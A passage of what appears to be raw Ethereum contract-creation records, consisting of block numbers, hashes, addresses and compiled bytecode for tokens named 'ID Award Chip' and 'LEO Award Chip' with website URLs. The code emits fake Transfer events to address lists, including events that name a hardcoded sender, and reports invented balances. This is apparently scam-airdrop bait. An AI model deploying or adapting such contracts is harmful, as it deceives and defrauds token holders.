487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806108e157607f821691505b6020821081036108f4576108f361089d565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f61095361094e61094984610927565b610930565b6105de565b9050919050565b61096381610939565b82525050565b5f60208201905061097c5f83018461095a565b9291505056fea2646970667358221220c4cc133c792f8aea61d4fbb6c0b1a661cd9a4bb15c5cdaceb100e4412963bb0064736f6c63430008180033 | |
1 | 19,493,920 | bf1c97a78de08c0d5b9f8b2ea459b78fa36ff7cf10f4b3f1842f4ddcbe2fd04f | 3c603af37a2c44d368ceffbbc93f7bb1f4a594af3a4ef14071bb9c00e789693f | 9a27151afd80abddef562f49de0b4e3a6cdad16d | 9a27151afd80abddef562f49de0b4e3a6cdad16d | 969747d5500888004461007ec10526a35224c346 | 60806040525f600255732dff88a56767223a5529ea5960da7a3f5f76640660035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60055f6101000a81548160ff02191690831515021790555034801562000081575f80fd5b5060405162000fc838038062000fc88339818101604052810190620000a7919062000264565b815f9081620000b791906200051e565b508060019081620000c991906200051e565b506509184e72a000600481905550505062000602565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6200014082620000f8565b810181811067ffffffffffffffff8211171562000162576200016162000108565b5b80604052505050565b5f62000176620000df565b905062000184828262000135565b919050565b5f67ffffffffffffffff821115620001a657620001a562000108565b5b620001b182620000f8565b9050602081019050919050565b5f5b83811015620001dd578082015181840152602081019050620001c0565b5f8484015250505050565b5f620001fe620001f88462000189565b6200016b565b9050828152602081018484840111156200021d576200021c620000f4565b5b6200022a848285620001be565b509392505050565b5f82601f830112620002495762000248620000f0565b5b81516200025b848260208601620001e8565b91505092915050565b5f80604083850312156200027d576200027c620000e8565b5b5f83015167ffffffffffffffff8111156200029d576200029c620000ec565b5b620002ab8582860162000232565b925050602083015167ffffffffffffffff811115620002cf57620002ce620000ec565b5b620002dd8582860162000232565b9150509250929050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200033657607f821691505b6020821081036200034c576200034b620002f1565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003b07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000373565b620003bc868362000373565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200040662000400620003fa84620003d4565b620003dd565b620003d4565b9050919050565b5f819050919050565b6200042183620003e6565b6200043962000430826200040d565b8484546200037f565b825550505050565b5f90565b6200044f62000441565b6200045c81848462000416565b505050565b5b818110156200048357620004775f8262000445565b60018101905062000462565b5050565b601f821115620004d2576200049c8162000352565b620004a78462000364565b81016020851015620004b7578190505b620004cf620004c68562000364565b83018262000461565b50505b505050565b5f82821c905092915050565b5f620004f45f1984600802620004d7565b1980831691505092915050565b5f6200050e8383620004e3565b9150826002028217905092915050565b6200052982620002e7565b67ffffffffffffffff81111562000545576200054462000108565b5b6200055182546200031e565b6200055e82828562000487565b5f60209050601f83116001811462000594575f84156200057f578287015190505b6200058b858262000501565b865550620005fa565b601f198416620005a48662000352565b5f5b82811015620005cd57848901518255600182019150602085019450602081019050620005a6565b86831015620005ed5784890151620005e9601f891682620004e3565b8355505b6001600288020188555050505b505050505050565b6109b880620006105f395ff3fe608060405234801561000f575f80fd5b5060043610610091575f3560e01c80634dd2d66e116100645780634dd2d66e146100f95780636a6278421461011557806370a082311461013157806395d89b4114610161578063ea66696c1461017f57610091565b806306fdde031461009557806318160ddd146100b3578063313ce567146100d157806344df8e70146100ef575b5f80fd5b61009d61019b565b6040516100aa91906105be565b60405180910390f35b6100bb61022a565b6040516100c891906105f6565b60405180910390f35b6100d9610230565b6040516100e6919061062a565b60405180910390f35b6100f7610238565b005b610113600480360381019061010e9190610818565b610254565b005b61012f600480360381019061012a9190610872565b610318565b005b61014b60048036038101906101469190610872565b610385565b60405161015891906105f6565b60405180910390f35b610169610401565b60405161017691906105be565b60405180910390f35b61019960048036038101906101949190610818565b610491565b005b60605f80546101a9906108ca565b80601f01602080910402602001604051908101604052809291908181526020018280546101d5906108ca565b80156102205780601f106101f757610100808354040283529160200191610220565b820191905f5260205f20905b81548152906001019060200180831161020357829003601f168201915b5050505050905090565b60045481565b5f6001905090565b600160055f6101000a81548160ff021916908315150217905550565b806002819055505f5b825181101561031357828181518110610279576102786108fa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516102fe91906105f6565b60405180910390a3808060010191505061025d565b505050565b8073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef64e8d4a5100060405161037a9190610969565b60405180910390a350565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806103ec575060055f9054906101000a900460ff165b6103f8576002546103fa565b5f5b9050919050565b606060018054610410906108ca565b80601f016020809104026020016040519081016040528092919081815260200182805461043c906108ca565b80156104875780601f1061045e57610100808354040283529160200191610487565b820191905f5260205f20905b81548152906001019060200180831161046a57829003601f168201915b5050505050905090565b806002819055505f5b825181101561052f578281815181106104b6576104b56108fa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161051a91906105f6565b60405180910390a3808060010191505061049a565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561056b578082015181840152602081019050610550565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61059082610534565b61059a818561053e565b93506105aa81856020860161054e565b6105b381610576565b840191505092915050565b5f6020820190508181035f8301526105d68184610586565b905092915050565b5f819050919050565b6105f0816105de565b82525050565b5f6020820190506106095f8301846105e7565b92915050565b5f60ff82169050919050565b6106248161060f565b82525050565b5f60208201905061063d5f83018461061b565b92915050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61068e82610576565b810181811067ffffffffffffffff821117156106ad576106ac610658565b5b80604052505050565b5f6106bf610643565b90506106cb8282610685565b919050565b5f67ffffffffffffffff8211156106ea576106e9610658565b5b602082029050602081019050919050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610728826106ff565b9050919050565b6107388161071e565b8114610742575f80fd5b50565b5f813590506107538161072f565b92915050565b5f61076b610766846106d0565b6106b6565b9050808382526020820190506020840283018581111561078e5761078d6106fb565b5b835b818110156107b757806107a38882610745565b845260208401935050602081019050610790565b5050509392505050565b5f82601f8301126107d5576107d4610654565b5b81356107e5848260208601610759565b91505092915050565b6107f7816105de565b8114610801575f80fd5b50565b5f81359050610812816107ee565b92915050565b5f806040838503121561082e5761082d61064c565b5b5f83013567ffffffffffffffff81111561084b5761084a610650565b5b610857858286016107c1565b925050602061086885828601610804565b9150509250929050565b5f602082840312156108875761088661064c565b5b5f61089484828501610745565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806108e157607f821691505b6020821081036108f4576108f361089d565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f61095361094e61094984610927565b610930565b6105de565b9050919050565b61096381610939565b82525050565b5f60208201905061097c5f83018461095a565b9291505056fea264697066735822122094a95d00f11e4de1eb0f3671d794db39d25792a2f1dd582fb66c7594bf9db42d64736f6c63430008180033000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000020242049442041776172642043686970207c20746865737061636569642e636f6d000000000000000000000000000000000000000000000000000000000000001e49442041776172642043686970207c20746865737061636569642e636f6d0000 | 608060405234801561000f575f80fd5b5060043610610091575f3560e01c80634dd2d66e116100645780634dd2d66e146100f95780636a6278421461011557806370a082311461013157806395d89b4114610161578063ea66696c1461017f57610091565b806306fdde031461009557806318160ddd146100b3578063313ce567146100d157806344df8e70146100ef575b5f80fd5b61009d61019b565b6040516100aa91906105be565b60405180910390f35b6100bb61022a565b6040516100c891906105f6565b60405180910390f35b6100d9610230565b6040516100e6919061062a565b60405180910390f35b6100f7610238565b005b610113600480360381019061010e9190610818565b610254565b005b61012f600480360381019061012a9190610872565b610318565b005b61014b60048036038101906101469190610872565b610385565b60405161015891906105f6565b60405180910390f35b610169610401565b60405161017691906105be565b60405180910390f35b61019960048036038101906101949190610818565b610491565b005b60605f80546101a9906108ca565b80601f01602080910402602001604051908101604052809291908181526020018280546101d5906108ca565b80156102205780601f106101f757610100808354040283529160200191610220565b820191905f5260205f20905b81548152906001019060200180831161020357829003601f168201915b5050505050905090565b60045481565b5f6001905090565b600160055f6101000a81548160ff021916908315150217905550565b806002819055505f5b825181101561031357828181518110610279576102786108fa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516102fe91906105f6565b60405180910390a3808060010191505061025d565b505050565b8073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef64e8d4a5100060405161037a9190610969565b60405180910390a350565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806103ec575060055f9054906101000a900460ff165b6103f8576002546103fa565b5f5b9050919050565b606060018054610410906108ca565b80601f016020809104026020016040519081016040528092919081815260200182805461043c906108ca565b80156104875780601f1061045e57610100808354040283529160200191610487565b820191905f5260205f20905b81548152906001019060200180831161046a57829003601f168201915b5050505050905090565b806002819055505f5b825181101561052f578281815181106104b6576104b56108fa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161051a91906105f6565b60405180910390a3808060010191505061049a565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561056b578082015181840152602081019050610550565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61059082610534565b61059a818561053e565b93506105aa81856020860161054e565b6105b381610576565b840191505092915050565b5f6020820190508181035f8301526105d68184610586565b905092915050565b5f819050919050565b6105f0816105de565b82525050565b5f6020820190506106095f8301846105e7565b92915050565b5f60ff82169050919050565b6106248161060f565b82525050565b5f60208201905061063d5f83018461061b565b92915050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61068e82610576565b810181811067ffffffffffffffff821117156106ad576106ac610658565b5b80604052505050565b5f6106bf610643565b90506106cb8282610685565b919050565b5f67ffffffffffffffff8211156106ea576106e9610658565b5b602082029050602081019050919050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610728826106ff565b9050919050565b6107388161071e565b8114610742575f80fd5b50565b5f813590506107538161072f565b92915050565b5f61076b610766846106d0565b6106b6565b9050808382526020820190506020840283018581111561078e5761078d6106fb565b5b835b818110156107b757806107a38882610745565b845260208401935050602081019050610790565b5050509392505050565b5f82601f8301126107d5576107d4610654565b5b81356107e5848260208601610759565b91505092915050565b6107f7816105de565b8114610801575f80fd5b50565b5f81359050610812816107ee565b92915050565b5f806040838503121561082e5761082d61064c565b5b5f83013567ffffffffffffffff81111561084b5761084a610650565b5b610857858286016107c1565b925050602061086885828601610804565b9150509250929050565b5f602082840312156108875761088661064c565b5b5f61089484828501610745565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806108e157607f821691505b6020821081036108f4576108f361089d565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f61095361094e61094984610927565b610930565b6105de565b9050919050565b61096381610939565b82525050565b5f60208201905061097c5f83018461095a565b9291505056fea264697066735822122094a95d00f11e4de1eb0f3671d794db39d25792a2f1dd582fb66c7594bf9db42d64736f6c63430008180033 | |
1 | 19,493,921 | e5d8ead80af33561b65254489e792f1fdaad02a80ca4a281b1eb63b71e23822f | f1a6c21c4f46e63b15a03447731cd7df3e0bbf82872f361c32471846091b1985 | 9a27151afd80abddef562f49de0b4e3a6cdad16d | 9a27151afd80abddef562f49de0b4e3a6cdad16d | 633610db3e916c6e3c646ca6a096b8194fbf55e6 | 60806040525f600255732af5d2ad76741191d15dfe7bf6ac92d4bd912ca360035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60055f6101000a81548160ff02191690831515021790555034801562000081575f80fd5b5060405162000fc838038062000fc88339818101604052810190620000a7919062000264565b815f9081620000b791906200051e565b508060019081620000c991906200051e565b506509184e72a000600481905550505062000602565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6200014082620000f8565b810181811067ffffffffffffffff8211171562000162576200016162000108565b5b80604052505050565b5f62000176620000df565b905062000184828262000135565b919050565b5f67ffffffffffffffff821115620001a657620001a562000108565b5b620001b182620000f8565b9050602081019050919050565b5f5b83811015620001dd578082015181840152602081019050620001c0565b5f8484015250505050565b5f620001fe620001f88462000189565b6200016b565b9050828152602081018484840111156200021d576200021c620000f4565b5b6200022a848285620001be565b509392505050565b5f82601f830112620002495762000248620000f0565b5b81516200025b848260208601620001e8565b91505092915050565b5f80604083850312156200027d576200027c620000e8565b5b5f83015167ffffffffffffffff8111156200029d576200029c620000ec565b5b620002ab8582860162000232565b925050602083015167ffffffffffffffff811115620002cf57620002ce620000ec565b5b620002dd8582860162000232565b9150509250929050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200033657607f821691505b6020821081036200034c576200034b620002f1565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003b07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000373565b620003bc868362000373565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200040662000400620003fa84620003d4565b620003dd565b620003d4565b9050919050565b5f819050919050565b6200042183620003e6565b6200043962000430826200040d565b8484546200037f565b825550505050565b5f90565b6200044f62000441565b6200045c81848462000416565b505050565b5b818110156200048357620004775f8262000445565b60018101905062000462565b5050565b601f821115620004d2576200049c8162000352565b620004a78462000364565b81016020851015620004b7578190505b620004cf620004c68562000364565b83018262000461565b50505b505050565b5f82821c905092915050565b5f620004f45f1984600802620004d7565b1980831691505092915050565b5f6200050e8383620004e3565b9150826002028217905092915050565b6200052982620002e7565b67ffffffffffffffff81111562000545576200054462000108565b5b6200055182546200031e565b6200055e82828562000487565b5f60209050601f83116001811462000594575f84156200057f578287015190505b6200058b858262000501565b865550620005fa565b601f198416620005a48662000352565b5f5b82811015620005cd57848901518255600182019150602085019450602081019050620005a6565b86831015620005ed5784890151620005e9601f891682620004e3565b8355505b6001600288020188555050505b505050505050565b6109b880620006105f395ff3fe608060405234801561000f575f80fd5b5060043610610091575f3560e01c80634dd2d66e116100645780634dd2d66e146100f95780636a6278421461011557806370a082311461013157806395d89b4114610161578063ea66696c1461017f57610091565b806306fdde031461009557806318160ddd146100b3578063313ce567146100d157806344df8e70146100ef575b5f80fd5b61009d61019b565b6040516100aa91906105be565b60405180910390f35b6100bb61022a565b6040516100c891906105f6565b60405180910390f35b6100d9610230565b6040516100e6919061062a565b60405180910390f35b6100f7610238565b005b610113600480360381019061010e9190610818565b610254565b005b61012f600480360381019061012a9190610872565b610318565b005b61014b60048036038101906101469190610872565b610385565b60405161015891906105f6565b60405180910390f35b610169610401565b60405161017691906105be565b60405180910390f35b61019960048036038101906101949190610818565b610491565b005b60605f80546101a9906108ca565b80601f01602080910402602001604051908101604052809291908181526020018280546101d5906108ca565b80156102205780601f106101f757610100808354040283529160200191610220565b820191905f5260205f20905b81548152906001019060200180831161020357829003601f168201915b5050505050905090565b60045481565b5f6001905090565b600160055f6101000a81548160ff021916908315150217905550565b806002819055505f5b825181101561031357828181518110610279576102786108fa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516102fe91906105f6565b60405180910390a3808060010191505061025d565b505050565b8073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef64e8d4a5100060405161037a9190610969565b60405180910390a350565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806103ec575060055f9054906101000a900460ff165b6103f8576002546103fa565b5f5b9050919050565b606060018054610410906108ca565b80601f016020809104026020016040519081016040528092919081815260200182805461043c906108ca565b80156104875780601f1061045e57610100808354040283529160200191610487565b820191905f5260205f20905b81548152906001019060200180831161046a57829003601f168201915b5050505050905090565b806002819055505f5b825181101561052f578281815181106104b6576104b56108fa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161051a91906105f6565b60405180910390a3808060010191505061049a565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561056b578082015181840152602081019050610550565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61059082610534565b61059a818561053e565b93506105aa81856020860161054e565b6105b381610576565b840191505092915050565b5f6020820190508181035f8301526105d68184610586565b905092915050565b5f819050919050565b6105f0816105de565b82525050565b5f6020820190506106095f8301846105e7565b92915050565b5f60ff82169050919050565b6106248161060f565b82525050565b5f60208201905061063d5f83018461061b565b92915050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61068e82610576565b810181811067ffffffffffffffff821117156106ad576106ac610658565b5b80604052505050565b5f6106bf610643565b90506106cb8282610685565b919050565b5f67ffffffffffffffff8211156106ea576106e9610658565b5b602082029050602081019050919050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610728826106ff565b9050919050565b6107388161071e565b8114610742575f80fd5b50565b5f813590506107538161072f565b92915050565b5f61076b610766846106d0565b6106b6565b9050808382526020820190506020840283018581111561078e5761078d6106fb565b5b835b818110156107b757806107a38882610745565b845260208401935050602081019050610790565b5050509392505050565b5f82601f8301126107d5576107d4610654565b5b81356107e5848260208601610759565b91505092915050565b6107f7816105de565b8114610801575f80fd5b50565b5f81359050610812816107ee565b92915050565b5f806040838503121561082e5761082d61064c565b5b5f83013567ffffffffffffffff81111561084b5761084a610650565b5b610857858286016107c1565b925050602061086885828601610804565b9150509250929050565b5f602082840312156108875761088661064c565b5b5f61089484828501610745565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806108e157607f821691505b6020821081036108f4576108f361089d565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f61095361094e61094984610927565b610930565b6105de565b9050919050565b61096381610939565b82525050565b5f60208201905061097c5f83018461095a565b9291505056fea26469706673582212209014c0a74776d6f1d33947cb3adbdcd6a6a27eadc52408c721675d43c899330364736f6c63430008180033000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000002224204c454f2041776172642043686970207c206c656f746f6b656e6875622e636f6d00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000204c454f2041776172642043686970207c206c656f746f6b656e6875622e636f6d | 608060405234801561000f575f80fd5b5060043610610091575f3560e01c80634dd2d66e116100645780634dd2d66e146100f95780636a6278421461011557806370a082311461013157806395d89b4114610161578063ea66696c1461017f57610091565b806306fdde031461009557806318160ddd146100b3578063313ce567146100d157806344df8e70146100ef575b5f80fd5b61009d61019b565b6040516100aa91906105be565b60405180910390f35b6100bb61022a565b6040516100c891906105f6565b60405180910390f35b6100d9610230565b6040516100e6919061062a565b60405180910390f35b6100f7610238565b005b610113600480360381019061010e9190610818565b610254565b005b61012f600480360381019061012a9190610872565b610318565b005b61014b60048036038101906101469190610872565b610385565b60405161015891906105f6565b60405180910390f35b610169610401565b60405161017691906105be565b60405180910390f35b61019960048036038101906101949190610818565b610491565b005b60605f80546101a9906108ca565b80601f01602080910402602001604051908101604052809291908181526020018280546101d5906108ca565b80156102205780601f106101f757610100808354040283529160200191610220565b820191905f5260205f20905b81548152906001019060200180831161020357829003601f168201915b5050505050905090565b60045481565b5f6001905090565b600160055f6101000a81548160ff021916908315150217905550565b806002819055505f5b825181101561031357828181518110610279576102786108fa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516102fe91906105f6565b60405180910390a3808060010191505061025d565b505050565b8073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef64e8d4a5100060405161037a9190610969565b60405180910390a350565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806103ec575060055f9054906101000a900460ff165b6103f8576002546103fa565b5f5b9050919050565b606060018054610410906108ca565b80601f016020809104026020016040519081016040528092919081815260200182805461043c906108ca565b80156104875780601f1061045e57610100808354040283529160200191610487565b820191905f5260205f20905b81548152906001019060200180831161046a57829003601f168201915b5050505050905090565b806002819055505f5b825181101561052f578281815181106104b6576104b56108fa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161051a91906105f6565b60405180910390a3808060010191505061049a565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561056b578082015181840152602081019050610550565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61059082610534565b61059a818561053e565b93506105aa81856020860161054e565b6105b381610576565b840191505092915050565b5f6020820190508181035f8301526105d68184610586565b905092915050565b5f819050919050565b6105f0816105de565b82525050565b5f6020820190506106095f8301846105e7565b92915050565b5f60ff82169050919050565b6106248161060f565b82525050565b5f60208201905061063d5f83018461061b565b92915050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61068e82610576565b810181811067ffffffffffffffff821117156106ad576106ac610658565b5b80604052505050565b5f6106bf610643565b90506106cb8282610685565b919050565b5f67ffffffffffffffff8211156106ea576106e9610658565b5b602082029050602081019050919050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610728826106ff565b9050919050565b6107388161071e565b8114610742575f80fd5b50565b5f813590506107538161072f565b92915050565b5f61076b610766846106d0565b6106b6565b9050808382526020820190506020840283018581111561078e5761078d6106fb565b5b835b818110156107b757806107a38882610745565b845260208401935050602081019050610790565b5050509392505050565b5f82601f8301126107d5576107d4610654565b5b81356107e5848260208601610759565b91505092915050565b6107f7816105de565b8114610801575f80fd5b50565b5f81359050610812816107ee565b92915050565b5f806040838503121561082e5761082d61064c565b5b5f83013567ffffffffffffffff81111561084b5761084a610650565b5b610857858286016107c1565b925050602061086885828601610804565b9150509250929050565b5f602082840312156108875761088661064c565b5b5f61089484828501610745565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806108e157607f821691505b6020821081036108f4576108f361089d565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f61095361094e61094984610927565b610930565b6105de565b9050919050565b61096381610939565b82525050565b5f60208201905061097c5f83018461095a565b9291505056fea26469706673582212209014c0a74776d6f1d33947cb3adbdcd6a6a27eadc52408c721675d43c899330364736f6c63430008180033 | |
1 | 19,493,922 | 9daf6a3d7aaa67f9426d3b7b1ee0de373b0ca0eedb4d46c283ff3438892e8585 | b85c2936e219463a80a3130f1ddf2589eedb6a7c4ab7105493bd24d9dd34af20 | aa10e26d9d382cae6492804552523b1abe577e6f | aa10e26d9d382cae6492804552523b1abe577e6f | 15c03d35e9ba5ded1ec71500991a8a2d089e2461 | 60806040525f60025573808507121b80c02388fad14726482e061b8da82760035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60055f6101000a81548160ff02191690831515021790555034801562000081575f80fd5b5060405162000fc838038062000fc88339818101604052810190620000a7919062000264565b815f9081620000b791906200051e565b508060019081620000c991906200051e565b506509184e72a000600481905550505062000602565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6200014082620000f8565b810181811067ffffffffffffffff8211171562000162576200016162000108565b5b80604052505050565b5f62000176620000df565b905062000184828262000135565b919050565b5f67ffffffffffffffff821115620001a657620001a562000108565b5b620001b182620000f8565b9050602081019050919050565b5f5b83811015620001dd578082015181840152602081019050620001c0565b5f8484015250505050565b5f620001fe620001f88462000189565b6200016b565b9050828152602081018484840111156200021d576200021c620000f4565b5b6200022a848285620001be565b509392505050565b5f82601f830112620002495762000248620000f0565b5b81516200025b848260208601620001e8565b91505092915050565b5f80604083850312156200027d576200027c620000e8565b5b5f83015167ffffffffffffffff8111156200029d576200029c620000ec565b5b620002ab8582860162000232565b925050602083015167ffffffffffffffff811115620002cf57620002ce620000ec565b5b620002dd8582860162000232565b9150509250929050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200033657607f821691505b6020821081036200034c576200034b620002f1565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003b07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000373565b620003bc868362000373565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200040662000400620003fa84620003d4565b620003dd565b620003d4565b9050919050565b5f819050919050565b6200042183620003e6565b6200043962000430826200040d565b8484546200037f565b825550505050565b5f90565b6200044f62000441565b6200045c81848462000416565b505050565b5b818110156200048357620004775f8262000445565b60018101905062000462565b5050565b601f821115620004d2576200049c8162000352565b620004a78462000364565b81016020851015620004b7578190505b620004cf620004c68562000364565b83018262000461565b50505b505050565b5f82821c905092915050565b5f620004f45f1984600802620004d7565b1980831691505092915050565b5f6200050e8383620004e3565b9150826002028217905092915050565b6200052982620002e7565b67ffffffffffffffff81111562000545576200054462000108565b5b6200055182546200031e565b6200055e82828562000487565b5f60209050601f83116001811462000594575f84156200057f578287015190505b6200058b858262000501565b865550620005fa565b601f198416620005a48662000352565b5f5b82811015620005cd57848901518255600182019150602085019450602081019050620005a6565b86831015620005ed5784890151620005e9601f891682620004e3565b8355505b6001600288020188555050505b505050505050565b6109b880620006105f395ff3fe608060405234801561000f575f80fd5b5060043610610091575f3560e01c806344df8e701161006457806344df8e701461010b5780636a6278421461011557806370a082311461013157806395d89b4114610161578063ea66696c1461017f57610091565b806306fdde031461009557806318160ddd146100b3578063313ce567146100d157806338c9dc85146100ef575b5f80fd5b61009d61019b565b6040516100aa91906105be565b60405180910390f35b6100bb61022a565b6040516100c891906105f6565b60405180910390f35b6100d9610230565b6040516100e6919061062a565b60405180910390f35b61010960048036038101906101049190610818565b610238565b005b6101136102fc565b005b61012f600480360381019061012a9190610872565b610318565b005b61014b60048036038101906101469190610872565b610385565b60405161015891906105f6565b60405180910390f35b610169610401565b60405161017691906105be565b60405180910390f35b61019960048036038101906101949190610818565b610491565b005b60605f80546101a9906108ca565b80601f01602080910402602001604051908101604052809291908181526020018280546101d5906108ca565b80156102205780601f106101f757610100808354040283529160200191610220565b820191905f5260205f20905b81548152906001019060200180831161020357829003601f168201915b5050505050905090565b60045481565b5f6001905090565b806002819055505f5b82518110156102f75782818151811061025d5761025c6108fa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df52